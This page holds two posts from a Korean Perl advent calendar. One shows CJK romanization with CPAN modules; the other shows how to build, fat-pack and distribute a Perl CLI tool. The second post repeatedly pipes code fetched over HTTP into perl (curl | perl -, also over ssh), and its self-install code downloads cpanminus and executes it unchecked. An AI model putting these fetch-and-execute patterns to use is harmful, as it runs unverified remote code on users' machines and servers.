중국어의 경우는 중국어를 입력하기 위해서
로마자로 표기를 한 후에 한자로 변환해서 입력을 해야하는 불편함이 있습니다.
일본어의 경우는 히라가나로 입력을 해도 한자로 변환해서 입력해야하는 부분이 있기 때문에 불편합니다.
(로마자로 입력을 해도 한자로 변환하는 등의 불편함이 있습니다.)
이렇게 쓰고 보니 한글을 만든 세종대왕님이 존경스럽군요!</p>
<p>아래에는 한국어, 중국어, 일본어의 라틴어 표기법에 대해서 간략히 소개를 하겠습니다.</p>
<p><em>중국어의 라틴어 표기법</em>에는 두가지가 있습니다.</p>
<ul>
<li>한어병음[번체: 漢語拼音/간체: 汉语拼音] 표기법
<ul>
<li>1955년~1957년 문자개혁을 할 때 중국 문자 개혁 위원회(中国文字改革委员会)는 한어병음방안(汉语拼音方案)을 채택</li>
<li>1958년 2월 전국인민대표대회(全国人民代表大会)에서 이 안을 비준, 시행.</li>
<li>1982년 국제표준ISO 7098이 되었다.</li>
<li>중국 대륙의 공식적인 로마자 표기법이다.</li>
</ul></li>
<li>웨이드-자일스식 표기법(Wade-Giles romanization)
<ul>
<li>1867년 토머스 프랜시스 웨이드 경(Sir. Thomas Francis Wade)이 중국어의 로마자 표기법을 창안</li>
<li>이후, 케임브리지대학교 교수인 허버트 앨런 자일스(Herbert Allen Giles)가 〈중영사전 Chinese-English Dictionary〉(1912)을 발간하면서 수정했다.</li>
<li>대만에서 주로 쓴다.</li>
</ul></li>
</ul>
<p><em>일본어의 라틴어 표기법</em>에는 세가지가 있습니다.
보통 헵번식이라고 부르는 The Hepburn System(ヘボン式)를 주로 사용합니다.</p>
<ul>
<li>The Hepburn System(ヘボン式)
<ul>
<li>미국인 선교사 James Curtis Hepburn이 1887년도에 고안한 로마자 표기 방법</li>
</ul></li>
<li>The kunrei System(訓令式)
<ul>
<li>1937년 일본정부가 발표한 로마자 표기 방법</li>
</ul></li>
<li>The Nippon System(日本式)
<ul>
<li>田中館愛橘(tanakadate aikitsu)가 1881년도에 고안한 로마자 표기 방법. 훈령식과 비슷하고 거의 사용안함.</li>
</ul></li>
</ul>
<p><em>한국어의 라틴어 표기법</em>은 세가지가 있으며 서로 혼용해 사용하고 있습니다.</p>
<ul>
<li>국어의 로마자 표기법(The Re-vised Romanization of Korean, abbreviation RRK)
<ul>
<li>2000년 7월 7일 공표된 로마자 표기법</li>
</ul></li>
<li>매큔-라이샤워 표기법(Ministry of Education (문교부) derived from and sometimes referred to as McCune-Reischauer)
<ul>
<li>1984년 1월 13일 문교부에서 공표하여 2000년도까지 사용하던 로마자 표기법</li>
</ul></li>
<li>한글학회(Korean Language Society)
<ul>
<li>1996년도에 발표된 로마자 표기법</li>
</ul></li>
</ul>
<h2>준비 시작!</h2>
<p>동아시아 언어를 로마자로 변환하는 문자 처리를 위해 CPAN 모듈을 설치해봅니다.
동아시아 문자 처리를 소개하는데 사용한 CPAN 모듈은 아래와 같습니다.</p>
<ul>
<li><a href="http://p3rl.org/Unicode::Unihan">Unicode::Unihan</a></li>
<li><a href="http://p3rl.org/Lingua::JA::Romanize::Japanese">Lingua::JA::Romanize::Japanese</a></li>
<li><a href="http://p3rl.org/Lingua::ZH::Romanize::Pinyin">Lingua::ZH::Romanize::Pinyin</a></li>
<li><a href="http://p3rl.org/Lingua::KO::Romanize::Hangul">Lingua::KO::Romanize::Hangul</a></li>
</ul>
<h2>이 한자는 중국어, 광동어, 한국어, 일본어 훈독, 음독으로 어떻게 읽지?</h2>
<p>이 한자(漢字/汉字, Chinese Character)는 중국어(보통화普通話,표준북경어),
광동어, 한국어, 일본어 훈독, 음독으로 어떻게 읽지?</p>
<p>한자 읽기의 로마자화의 경우는 펄 모듈중의 하나인 <a href="http://p3rl.org/Unicode::Unihan">Unicode::Unihan</a> 모듈을 사용하면 됩니다.
Unicode::Unihan 모듈은 유니코드의 한중일 통합한자 데이터베이스, 즉
Unicode Unihan「"Unified Han" (CJK: Chinese, Japanese, and Korean)」데이터베이스를 사용하기 편하게
만든 인터페이스입니다. 일본인 Dan Kogai가 작성하였습니다. </p>
<p>여기서 '한국'으로 읽는 '韓國'이란 한자를
표준중국어(Mandarin), 광동어(Cantonese), 일본어 훈독과 일본어 음독으로
어떻게 읽는지 로마자로 표기하는 것에 대해 알아보겠습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use v5.12;
use utf8;
use strict;
use warnings; # on by default
use warnings qw(FATAL utf8);
use open qw(:std :utf8);
use charnames qw(:full :short);
use Unicode::Unihan;
my $str = "韓國";
my $unhan = Unicode::Unihan->new;
for my $lang (qw(Mandarin Cantonese Korean JapaneseOn JapaneseKun)) {
printf "CJK $str in %-12s is ", $lang;
say $unhan->$lang($str);
}
</pre>
<p>다음은 실행 결과입니다.</p>
<pre class="brush: plain;">
CJK 韓國 in Mandarin is HAN2GUO2
CJK 韓國 in Cantonese is hon4gwok3
CJK 韓國 in Korean is HANKWUK
CJK 韓國 in JapaneseOn is KANKOKU
CJK 韓國 in JapaneseKun is IGETAKUNI
</pre>
<p>우리가 '한국'으로 읽는 '韓國'이란 한자는
표준중국어(Mandarin)는 '한궈', 광동어으로는 '혼궉', 일본어의 음독으로는 칸코쿠,
훈독으로는 '이게타쿠니'라고 읽는군요!</p>
<p>주변 사람들이 좌절할때 쓰는 이상한 한자(囧)가 있죠. 이 한자도 어떻게 읽는지 궁금해집니다!</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use utf8;
use v5.12;
use strict;
use warnings;
use warnings qw(FATAL utf8);
use open qw(:std :utf8);
use charnames qw(:full :short);
use Unicode::Unihan;
my $str = "囧";
my $unhan = Unicode::Unihan->new;
for my $lang (qw(Mandarin Cantonese Korean JapaneseOn JapaneseKun)) {
printf "CJK $str in %-12s is ", $lang;
say $unhan->$lang($str);
}
</pre>
<p>결과를 확인합시다.</p>
<pre class="brush: plain;">
CJK 囧 in Mandarin is JIONG3
CJK 囧 in Cantonese is gwing2
CJK 囧 in Korean is KYENG
CJK 囧 in JapaneseOn is KEI KYOU
CJK 囧 in JapaneseKun is AKIRAKA
</pre>
<p>'囧'이라는 한자는 표준중국어(Mandarin)는 '지옹',
광동어으로는 '귕', 한국어로 '경', 일본어의 음독으로는 '케이', '쿄우', 훈독으로는 '아키라카'로 읽는군요!
사전으로 찾아봅시다.</p>
<blockquote>
<p>囧
빛날 경(중국어 [jiǒng]) 1. 빛나다 2. 밝다 3. 새가 나는 모양 4. 창(窓)</p>
</blockquote>
<p>그런데 이 단어는 인터넷에서 변질되어(특히 중국어 웹사이트에서)
우울한, 슬픈, 난감한, 말이 안나오는 등등으로 의미로 쓰이기도 합니다.
여러 한자들을 가지고 실험하면 이 단어가 어느 나라에서 어떤 음으로 읽더라 하는 것을 알 수 있습니다.</p>
<h2>이 일본어 문자는 어떻게 읽을까?</h2>
<p>일본어로 된 문자나 문자열을 로마자로 변경해서 읽으려면
펄 모듈 중에서 <a href="http://p3rl.org/Lingua::JA::Romanize::Japanese">Lingua::JA::Romanize::Japanese</a>를 사용하면 됩니다.
이 모듈은 일본인 Yusuke Kawasaki이 작성하였습니다.
이번에도 스크립트를 작성해 실험해봅시다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use Lingua::JA::Romanize::Japanese;
my $conv = Lingua::JA::Romanize::Japanese->new();
my $kanji = "字"; # one CJK character
my $roman = $conv->char($kanji);
printf(" %s - %s \n", $kanji, $roman);
my $string = "文字列の場合"; #multiple CJK characters
printf(" %s - %s \n", $string, $conv->chars($string));
</pre>
<p>실행 결과는 아래와 같습니다.</p>
<pre class="brush: plain;">
字 - aza/azana/ji
文字列の場合 - mojiretsu no baai
</pre>
<p>자(字)를 aza, azana 또는 ji라고 합니다.
일본어 한자읽기사전을 보면 字를 음독으로 ji, 훈독으로 aza, azana로 읽는다고 합니다.
文字列の場合(문자열의 집합)을 mojiretsu no baai(모지레츠노바마이)라고 읽는다고 하는군요.</p>
<h2>한국어를 어떻게 로마자로 변경할까?</h2>
<p>한국어로 된 문자나 문자열을 로마자로 변경해서 읽으려면
<a href="http://p3rl.org/Lingua::KO::Romanize::Hangul">Lingua::KO::Romanize::Hangul</a>를 사용합니다.
이 모듈도 위에서 소개한 일본어를 로마자로 변경하는 Lingua::JA::Romanize::Japanese를
작성한 일본인 Yusuke Kawasaki이 작성하였습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use v5.12;
use utf8;
use strict;
use warnings;
use warnings qw(FATAL utf8);
use open qw(:std :utf8);
use Lingua::KO::Romanize::Hangul;
my $hangul = "한";
my $string = "나랏말씀이 중국(中國)과 달라";
my $conv = Lingua::KO::Romanize::Hangul->new();
my $roman = $conv->char( $hangul );
printf("한글: %s - Romanized: %s \n", $hangul, $roman );
my @array = $conv->string($string);
foreach my $pair (@array) {
my ( $han, $roman ) = @$pair;
if ( defined $roman ) {
printf( "한글: %s - Romanized: %s \n", $han, $roman );
}
else {
print $han;
}
}
</pre>
<p>이번에도 실행해봅니다.</p>
<pre class="brush: plain;">
한글: 한 - Romanized: han
한글: 나 - Romanized: na
한글: 랏 - Romanized: rat
한글: 말 - Romanized: mal
한글: 씀 - Romanized: sseum
한글: 이 - Romanized: i
한글: 중 - Romanized: jung
한글: 국 - Romanized: gug
(中國)한글: 과 - Romanized: gwa
한글: 달 - Romanized: dal
한글: 라 - Romanized: la
</pre>
<p>안타깝게도, 한자는 변환하지 않는군요.
그래도 한글을 로마자로 표현하였습니다!
참고로 이 모듈이 한글을 로마자로 표현하는 방법은
2000년도에 대한민국 정부에 의해 공표된
국어의 로마자 표기법(Revised Romanization of Korean)을 따릅니다.</p>
<h2>중국어로 된 내용을 로마자로 된 한어병음(漢語拼音/汉语拼音)으로 바꾸는가?</h2>
<p>중국어로 된 문자나 문자열을 로마자로 변경해서 읽을려면
<a href="http://p3rl.org/Lingua::ZH::Romanize::Pinyin">Lingua::ZH::Romanize::Pinyin</a>를 사용하면 됩니다.
대만, 홍콩에서 주로 사용하고 있는, 한국에서 쓰는 한자와 같은, 번체자(繁體中文, Traditional Chinese)와
중국 대륙에서 사용하고 있는 축약된 한자인 간체자(简体中文,Simplified Chinese)의 로마자화를 모두 지원합니다.
(참고로, 이 모듈에서 사용하는 중국어 로마자화는 한어병음[번체: 漢語拼音/간체: 汉语拼音] 입니다.)</p>
<p>이것도 위에서 소개한 Lingua::JA::Romanize::Japanese와 Lingua::KO::Romanize::Korean를
작성한 일본인 Yusuke Kawasaki이 작성하였습니다. 일본인이면서 한국어와 중국어까지 다루다니 대단합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use v5.12;
use utf8;
use strict;
use utf8;
use warnings;
use warnings qw(FATAL utf8);
use open qw(:std :utf8);
use Lingua::ZH::Romanize::Pinyin;
my $conv = Lingua::ZH::Romanize::Pinyin->new();
my $hanji = "中";
my $roman = $conv->char($hanji);
printf( " %s - %s \n", $hanji, $roman );
my $string = "韓國 韩国 漢語 汉语 東京 东京";
my @array = $conv->string($string);
foreach my $pair (@array) {
my ( $raw, $ruby ) = @$pair;
if ( defined $ruby ) {
printf( " %s - %s \n", $raw, $ruby );
}
else {
print $raw;
}
}
</pre>
<p>이번에도 실행해봅시다.</p>
<pre class="brush: plain;">
中 - zhong1/zhong4
韓 - han2
國 - guo2
韩 - han
国 - guo
漢 - han4
語 - yu3/yu4
汉 - han
语 - yu
東 - dong1
京 - jing1
东 - dong
京 - jing1
</pre>
<p>위 코드에서 中은 "가운데 중"을 의미합니다.
번체자와 간체자가 모두 같습니다.
"한국"이란 단어의 번체자는 "韓國", 간체자는 "韩国"입니다.
"한어"라는 단어의 번체자는 "漢語", 간체자는 "汉语"입니다.
"동경(도쿄,Tokyo)"이라는 단어의 번체자는 "東京", 간체자는 "东京"입니다.
여기에서는 번체자와 간체자 모두 <em>같은 음을 가지고 있기 때문에</em> 로마자로 변경이 가능했던 것입니다.</p>
<p>한국어, 중국어, 일본어의 로마자화하여 문자처리를 소개해보았습니다.</p>
<h2>정리하며</h2>
<p>여러가지 내용들 소개하려다보니 정리하기 어려웠습니다.
설명하는것도 쉽지 않아서 간략하게 위의 각 언어별 로마자 표기법에 대해서 소개를 해 보았습니다.
저도 이쪽에 대해서 제대로 아는 것도 아니라서 잘 모르겠습니다만...</p>
<p>Perl의 동아시아 언어 모듈을 찾아보니 일본인이 일본어뿐만 아니라 한국어 문자 처리쪽에
개발을 한 것을 보았고, 일본어의 문자 처리 모듈도 한국어, 중국어보다 엄청 다양하구나-하고 많이 느겼습니다.
한국어를 로마자화하는 Lingua::KO::Romanize::Hangul 모듈에서 한자 부분을 못 읽는 부분이 있는데,
한자를 읽는 부분도 추가해서 개발을 해볼까 생각을 해봅니다.
일본인도 한국어 로마자화 개발을 했으니, 한국어를 더 잘하는 한국인이 한자에 대해서 로마자화 개발도 잘할 수 있을 것이라 생각합니다.
일본어, 중국어, 한국어 로마자화 모듈을 작성한 일본인 Yusuke Kawasaki가 대단하다고 생각합니다.</p>
<p>CJKV 첫번째 판을 빌려주신 @ganadist, Perl 커뮤니티를 알게해주신 @JEEN_LEE and @keedi,
그리고 달력 만드느라 열심히 작업하시는 @am0c, 여러분 모두 고맙습니다.</p>
2012-12-14T00:00:00+09:00studioego도구를 만들고 배포하자http://advent.perl.kr/2012/2012-12-13.html<h2>저자</h2>
<p><a href="http://twitter.com/am0c">@am0c</a> - 프로그래밍 언어에 관심이 많다. 펄과 커피를 좋아한다.
올해 크리스마스 달력의 메인 쓰레드로 활동하고 있다.</p>
<h2>시작하며</h2>
<p>양타 군은 외딴 초원사막 마을의 시스템 관리자입니다.
양타 군은 시스템 관리 프로세스가 복잡해지면서, 반복되는 작업을 자동화하고 싶었습니다.
시중에 있는 잘 알려진 도구가 좋은 선택이기는 했지만 자사의 환경에 맞지 않는 부분이 있었습니다.
어떤 것은 너무 컸고, 어떤 것은 너무 느립니다. 일부는 그대로 쓰되 일부는 직접 구현하여 사용하기로 했습니다.
유지보수 관리자에게 일을 넘기고 싶지는 않습니다. 문서는 간결하면 좋겠습니다.
다른 머신에 도구를 쉽게 배포할 수 있어야 합니다. 다른 사람이 그 도구를 받아도 쉽게 사용할 수 있으면 좋겠습니다.
양타 군은 이 모든 것을 해결하고 싶었습니다.</p>
<p>하지만 양타 군은 시간이 부족합니다.
수많은 관리 작업의 일부인 이것을 위해 정교한 도구를 만들며 시간을 버려서는 안됩니다.
대충 만들면 나중에 보틀넥이 될 것 같습니다.
우리의 마법사, 펄을 써야겠습니다!
편집기를 열고, 곧장 명령행 옵션 상세를 정하고, 로직을 작성합니다.
자원의 보고라 불리는 CPAN 해저를 탐색하고 수확한 라이브러리를 이리저리 붙입니다.
양타는 그렇게 순식간에 원하는 도구를 만들었습니다.
어떻게 만들었을까요?</p>
<h2>양타 군의 포스트잇</h2>
<p>나바빠 씨는 양타 군이 제작한 도구가 급히 필요했습니다. 양타 군을 불러 이렇게 말했습니다.
"일단 급히 사용할 데가 있으니, 사용법과 함께 도구를 한꺼번에 전달해주게."
양타 군은 마음 속으로 씨익 웃으며, 아래와 같이 적힌 쪽지를 건내며 답했습니다.
"이렇게 입력만 하면 끝입니다."</p>
<blockquote>
<p>curl -L http://example.com/yangta.pl | perl -</p>
</blockquote>
<p>나바빠 씨가 서버에서 실행하기 위해 <code>ssh</code> 명령을 붙여 그대로 입력하자 usage가 출력되었습니다.</p>
<pre class="brush: bash;">
$ curl http://example.com/yangta.pl | ssh server perl -
usage:
--help print this help
--do do yangta
</pre>
<p>나바빠 씨는 얼른 설명을 읽고 필요한 옵션을 뒤에 추가하는 것으로 작업을 완료했습니다.</p>
<pre class="brush: bash;">
$ curl http://example.com/yangta.pl | ssh server perl - --do
Let's do it!
</pre>
<p>나바빠 씨는 칼퇴할 수 있어 행복했습니다.</p>
<h2>양타 군의 설치</h2>
<p>나바빠 씨는 프로그램이 너무 마음에 들었습니다.
앞으로 자주 쓰게 될 것 같았기 때문에 아래와 같이 복사했습니다.
이것으로 도구 설치는 완료입니다.</p>
<pre class="brush: bash;">
$ curl http://example.com/yangta.pl > yangta.pl
$ chmod +x yangta.pl
$ scp yangta.pl server:~/bin
</pre>
<h2>양타 군의 라이브러리</h2>
<p>양타 군은 관리를 위한 라이브러리를 만들고
도구가 간단한 프론트앤드로 작동하도록 구성하였습니다.
나바빠 씨에게 전달한 스크립트는 프론트앤드입니다.
진지한 진지 씨는 작업 프로세스를 담당하고 있었습니다. 양타 군의 라이브러리 로직에 기능을 추가해야 합니다.
양타 군을 불러 말했습니다.
"펄은 잘 안써봤는데, 펄 환경 구축도 해야하고, 라이브러리는 어떻게 받는지 알려줄래?"
양타군은 이번에도 포스트잇을 건내며 말했습니다.
"이렇게 입력하기만 하면 됩니다."</p>
<blockquote>
<p>curl http://example.com/yangta.pl | perl - --self-upgrade</p>
</blockquote>
<p>이것으로 라이브러리를 설치하고, 명령어도 같이 제공되었습니다.
양타 군은 아래와 같이 모듈이 제대로 설치되었는지 확인해주었습니다.</p>
<pre class="brush: bash;">
$ perldoc -l Yangta
/home/nabapa/perl5/Yangta.pm
$ which yangta.pl
/home/nabapa/bin/yangta.pl
</pre>
<h2>양타 군의 문서</h2>
<p>"간편하군. 그런데 레포지터리는 어디서 받아야 하지? 문서가 있으면 좋겠군."라는 진지 씨의 질문에
양타 군은 이렇게 입력하며 말했습니다. "perldoc을 쓰면 문서가 나옵니다."</p>
<pre class="brush: bash;">
$ perldoc Yangta
</pre>
<p>나진지 씨는 어느정도 만족하였습니다.</p>
<h2>직접 만들어봅시다</h2>
<p>이야기에서 양타 군이 만든 도구와 같은 프로그램을 직접 만들어봅시다.
프로그램의 조건을 간략히 정리해보니 아래와 같습니다.</p>
<ul>
<li>주요 로직은 재사용성과 확장성을 위해 모듈로 제공</li>
<li>프론트앤드 명령행을 같이 제공</li>
<li>의존하는 라이브러리까지 통째로 묶인 스크립트 제공</li>
<li>따라서 HTTP/NFS/FTP 등을 통해 원라인으로 실행 가능</li>
<li>의존하는 라이브러리와 명령행을 쉽게 설치하는 옵션 제공</li>
</ul>
<p>예제를 위해, 특히 로그를 분석하는 라이브러리를 만들어 봅니다.
다양한 로그 포맷을 어댑터를 통해 지원할 수 있도록 만듭니다.</p>
<h2>프론트앤드를 만들자</h2>
<p>어떠한 로그도 쉽게 <code>grep</code> 할 수 있는 프로그램을 만듭시다.
예를 들기 위해, 프로그램의 이름은
필자의 닉네임(am0c)과 로그(log)의 합성어로 <code>amolog</code>라고 대충 지어보았습니다.</p>
<p>아래와 같이 <code>amolog list</code>를 입력하면
로그 분석을 지원하는 어댑터의 목록이 출력되고,
<code>amolog grep</code>과 출력할 로그 줄의 조건을 기입하면
쉽게 분석할 수 있으면 좋겠습니다.</p>
<pre class="brush: bash;">
$ amolog list
xchat2 - you can grep xchat2 logs
syslog - you can grep syslogs
email - you can even grep emails
$ amolog grep xchat2 -channel perl-kr -user am0c
...
$ amolog grep syslog -today -fatal
...
</pre>
<p>실제로 만들어 봅시다.
작업에 들어가기에 앞어, 작업 환경 디렉터리를 만드는 것이 당연하겠죠?</p>
<pre class="brush: bash;">
$ mkdir ~/amolog
$ cd ~/amolog
</pre>
<p>이제부터, 이 프로젝트의 모든 작업은 이 디렉터리를 최상위로 두고 하겠습니다.
라이브러리는 <code>lib</code> 디렉터리에, 테스트 묶음은 <code>t</code> 디렉터리에,
그리고 스크립트 파일은 <code>bin</code> 디렉터리에 두는 것이 관례입니다.</p>
<pre class="brush: bash;">
$ mkdir ./bin ./t ./lib
$ vim bin/amolog
</pre>
<p>먼저 편집기를 열어 명령어에 해당하는 스크립트를 만들어 봅시다.
잠깐! <em>바퀴는 재발명할 필요가 없습니다.</em>
CPAN 저장소에는 수십만개의 편리한 모듈이 준비되어 있습니다.
CPAN 보물 해저를 탐험해보니
<a href="https://metacpan.org/module/App::Cmd">App::Cmd</a>라는 놈이 있습니다.<a href="#fn:1" id="fnref:1" class="footnote">1</a>
모듈의 문서를 보고 작성해봅니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use App::amolog;
App::amolog->run;
</pre>
<p>짜잔! 이것으로 명령을 위한 실행파일이 완성되었습니다.
실제 로직은 <code>App::amolog</code>으로 전달되는군요.
명령행 프로그램에 해당하는 모듈은
<code>App::</code> 이름공간을 사용하는 것이 관례입니다.</p>
<pre class="brush: bash;">
$ mkdir -p ./lib/App/
$ vim ./lib/App/amolog.pm
</pre>
<p>자, 이제 <code>lib</code> 디렉터리에 <code>App::amolog</code> 패키지를 작성합시다.</p>
<pre class="brush: perl;">
package App::amolog;
use App::Cmd::Setup -app;
1;
</pre>
<p>끝입니다. <code>App::Cmd::Setup</code>를 로드함으로서,
도움말과 Usage, 명령어 Dispatch 기능을 자동으로 수행해줍니다.
실행해봅니다.</p>
<pre class="brush: bash;">
$ bin/amolog
Available commands:
commands: list the application's commands
help: display a command's help screen
</pre>
<p>이번에는 하위 명령어를 만들어봅시다.
다양한 포맷의 로그를 읽어낼 수 있어야 하기 때문에
아래와 같이 어댑터 구조가 좋겠습니다.</p>
<pre class="brush: plain;">
Amolog --> Amolog::Adapter
|
|- Amolog::Adapter::XChat2
|- Amolog::Adapter::Email
'- Amolog::Adapter::Syslog
</pre>
<p>지원하는 어댑터 목록을 보여주는 <code>list</code> 명령을 추가해봅시다.
<code>App/amolog/Command/list.pm</code>으로 파일을 작성합니다.</p>
<pre class="brush: perl;">
package App::amolog::Command::list;
use App::amolog -command;
use Module::Find;
sub execute {
for (findsubmod Amolog::Adapter) {
s/^.+:://;
print "\t$_\n";
}
}
1;
</pre>
<p><code>App::amolog</code>를 로드할 때 <code>-command</code> 인자를 넣는 것으로,
이것이 <code>amolog</code>의 하위 명령이라는 것을 알립니다.
<code>amolog list</code>라고 명령을 입력하면 <code>execute()</code>가 실행될 것입니다.
<code>Amolog::Adapter</code> 이름공간 하위에 존재하는 모듈을 모두 찾아서
출력합니다. <code>s///</code> 연산자를 통해 이름공간은 지우고 출력합니다.</p>
<p>언제나 문서를 작성하는 것이 좋습니다.
아래에 이 모듈의 상세를 기록합니다. 아래와 같이 간단하게
POD 문서를 추가했습니다.</p>
<pre class="brush: perl;">
=head1 NAME
App::amolog::Command::list - List all adapters
=cut
</pre>
<p>이것으로 <code>list</code> 하위 명령도 완성입니다.
아래와 같이 <code>XChat.pm</code>을 생성하고 <code>list</code> 하위 명령을 입력하면
어댑터 목록에 나타나는 것을 확인할 수 있습니다.
POD 문서에 넣은 <code>list</code>의 설명이 자동으로 <code>help</code> 하위 명령으로
출력되는 것을 볼 수 있습니다.</p>
<pre class="brush: bash;">
$ touch lib/Amolog/Adapter/XChat.pm
$ bin/amolog list
XChat
$ bin/amolog help
Available commands:
commands: list the application's commands
help: display a command's help screen
list: List all adapters
</pre>
<p>참고로, 여기에 <code>opt_spec()</code> 함수를 아래와 같이
서술하여 쉽게 명령행 옵션 규칙을 만들 수 있습니다.
자동으로 명령행 인자가 규칙을 어기지 않았는지 검사하고,
Usage 도움말을 생성해 출력해줍니다.
입력된 명령행 인자가 규칙에 부합하면 <code>execute()</code>에
해시로 전달됩니다.</p>
<pre class="brush: perl;">
sub opt_spec {
return (
'my-program %o <some-arg>',
[ 'server|s=s', "the server to connect to" ],
[ 'port|p=i', "the port to connect to", { default => 79 } ],
[],
[ 'verbose|v', "print extra stuff" ],
[ 'help', "print usage message and exit" ],
);
}
</pre>
<p>이 기능은 <a href="https://metacpan.org/module/Getopt::Long::Descriptive">Getopt::Long::Descriptive</a> 모듈을
통해 작동합니다. 특히 위 예제는 아래와 같은 Usage를 생성합니다.
정말 편리해보이죠?</p>
<pre class="brush: plain;">
my-program [-psv] [long options...] <some-arg>
-s --server the server to connect to
-p --port the port to connect to
-v --verbose print extra stuff
--help print usage message and exit
</pre>
<p>마지막으로 남은 <code>grep</code> 하위 명령은 실제 로직을 담당하는 백앤드
라이브러리를 작성한 다음에 추가해주는 것이 좋겠습니다.</p>
<h2>모듈을 만들자</h2>
<p>이번에는 실제 로직을 담당하는 라이브러리를 만들어봅시다.
이렇게 모듈과 명령어 프론트앤드를 분리하면
또다른 프론트앤드 인터페이스가 붙을 수도 있고,
직접 모듈을 불러서 사용하는 펄 스크립트를 작성해
cron 작업에 올리는 것도 가능할 것입니다.
<code>App::</code> 이름공간을 빼서 <code>Amolog</code> 모듈을 만듭니다.</p>
<pre class="brush: perl;">
package Amolog;
use Moo;
has 'adapter',
is => 'lazy',
isa => sub { (shift)->isa('Amolog::Adapter') },
handles => 'Amolog::Adapter',
required => 1;
1;
</pre>
<p>이것으로 완료입니다.
이 클래스는 <code>adapter</code> 속성 하나만 가지고 있습니다.
여기에는 우리를 대신할 어댑터 객체가 할당될 것입니다.
<code>isa</code> 옵션으로 이 어댑터 맴버 변수의 타입을 <code>Amolog::Adapter</code>로
강제합니다. <code>handles</code> 옵션을 통해 이 객체에 호출되는 메소드는 어댑터에게 위임됩니다.</p>
<p>이번에는 어댑터의 인터페이스인 <code>Amolog::Adapter</code>를 작성합시다.
현대 펄에서는 인터페이스를 <em>Role</em>을 통해 구현합니다.
아래와 같이 Role 프래그마를 선언하고 인터페이스 메소드를 적습니다.
일단은 <code>grep()</code> 메소드만 제공합시다.</p>
<pre class="brush: perl;">
package Amolog::Adapter;
use Moo::Role;
sub grep { ... }
1;
</pre>
<p>이제 XChat 어댑터를 마저 만들어봅시다.</p>
<pre class="brush: perl;">
package Amolog::Adapter::XChat;
use Moo;
sub grep {
my ($self, $optree) = @_;
$optree = $self->adjust_optree($optree);
$self->perform($optree);
}
sub adjust_optree { ... }
sub perform { ... }
1;
</pre>
<p><code>amolog grep</code> 명령어나 라이브러리를 통해 조건을 전달받습니다.
이 복잡한 조건식은 OP 트리로 이루어져있습니다.
이 OP 트리는 각 어댑터가 각자 로그의 형식과 구조에 알맞게
재구성할 필요가 있습니다. OP 트리를 재구성하고 실행하면
완료입니다! 자세한 구현은 생략하였습니다.</p>
<h2>배포 가능한 모듈을 만들자</h2>
<p>프로젝트의 빌드 스크립트를 만듭시다.
우리가 일반적으로 외부에서 소스를 받으면 수행하는
Configure - Make - Make Install 과정을 위한 것입니다.
이것으로 모듈 의존성을 자동으로 해결하고, 버전을 관리합니다.
모듈의 인덱스 정보와 구조를 관리합니다.
모듈의 저자와 라이센스도 포함합니다.</p>
<p>C나 C++에서 <code>automake</code>와 <code>autoconf</code>를 사용하는 대신
펄은 <code>Module::Build</code>를 사용합니다.
프로젝트 최상위 디렉터리에 <code>Module.PL</code> 파일을 생성하고
아래와 같이 작성합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Module::Build;
my $build = Module::Build->new(
module_name => 'Amolog',
dist_abstract => 'grep any log',
dist_version => '0.0.1',
license => 'perl',
requires => {
Moo => 0,
App::Cmd => 0,
Try::Tiny => 0,
},
);
$build->create_build_script;
</pre>
<p>직접 만들어보면서 사용했던 <code>App::Cmd</code>과 <code>Moo</code> 등의 의존 모듈을
적습니다. 모듈 이름도 적습니다. 이것으로 모듈 배포 준비가 되었습니다.
아래와 같이 묶을 수 있습니다.</p>
<pre class="brush: bash;">
$ perl Build.PL
$ ./Build manifest
$ ./Build dist
...
Creating Amolog-0.0.1.tar.gz
</pre>
<p>이 파일을 배포한 뒤, 사용자가 <code>cpan</code>과 <code>cpanm</code>을 통해 설치할 수 있습니다.<a href="#fn:2" id="fnref:2" class="footnote">2</a></p>
<pre class="brush: bash;">
$ cpanm Amolog-0.0.1.tar.gz
--> Working on Amolog-0.0.1.tar.gz
Fetching file:///home/amolog/Amolog-0.0.1.tar.gz ... OK
Configuring Amolog-v0.0.1 ... OK
Building and testing Amolog-v0.0.1 ... OK
Successfully installed Amolog-v0.0.1
1 distribution installed
</pre>
<h2>단일 실행 파일로 패킹하고 배포하기</h2>
<p><code>bin/amolog</code> 명령행과 <code>Amolog</code> 및 <code>App::Amolog</code> 라이브러리를 단일
실행 파일로 묶으면 배포가 용이할 것입니다.
<a href="https://metacpan.org/module/App::FatPacker">App::FatPacker</a>를 설치합니다.
<a href="https://metacpan.org/module/App::FatPacker#SYNOPSIS">SYNOPSIS를 참고</a>하여
아래와 같이 <code>fatpack</code> 명령으로 단일 파일로 묶어
최상위 작업 디렉터리에 <code>amolog</code>를 생성합니다.<a href="#fn:3" id="fnref:3" class="footnote">3</a></p>
<pre class="brush: bash;">
$ fatpack trace bin/amolog
$ fatpack packlists-for `cat fatpacker.trace` > packlists
$ fatpack tree `cat packlists`
$ (fatpack file; cat myscript.pl) > amolog
</pre>
<p><code>amolog</code>을 잘 살펴보고, <code>#!</code> 라인을 정리하거나
추가적인 문서를 넣어주면 완성입니다.
이것은 FTP나 HTTP로 제공하면 나바쁜 씨는 아래와 같이
실행할 수 있을 것입니다.</p>
<pre class="brush: bash;">
$ curl http://example.com/amolog | perl - --help
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 166k 100 166k 0 0 2540k 0 --:--:-- --:--:-- --:--:-- 2322k
Available commands:
commands: list the application's commands
help: display a command's help screen
grep: grep log
list: List all adapters
$ curl file:///home/amolog/amolog | perl - --help
...
</pre>
<h2>단일 실행 파일이 자기 자신을 설치하기</h2>
<p>이번에는 <code>--upgrade-self</code> 옵션을 받을 경우 자기 자신을 설치하도록 해봅시다.
<code>App::cpanminus</code>를 사용하는 것이 가장 간편할 것 같습니다.
하지만 <code>App::cpanminus</code>는 인터페이스를 숨기도록 설계되었기 때문에,
외부에서 받아서 파이프를 요청합니다.</p>
<pre class="brush: perl;">
require HTTP::Tiny;
my @option = __PACKAGE__;
my $cpanm = HTTP::Tiny->new->get('http://cpanmin.us')->{content};
open my $perl, "|-", $^X, "-", @option;
print $perl $cpanm;
</pre>
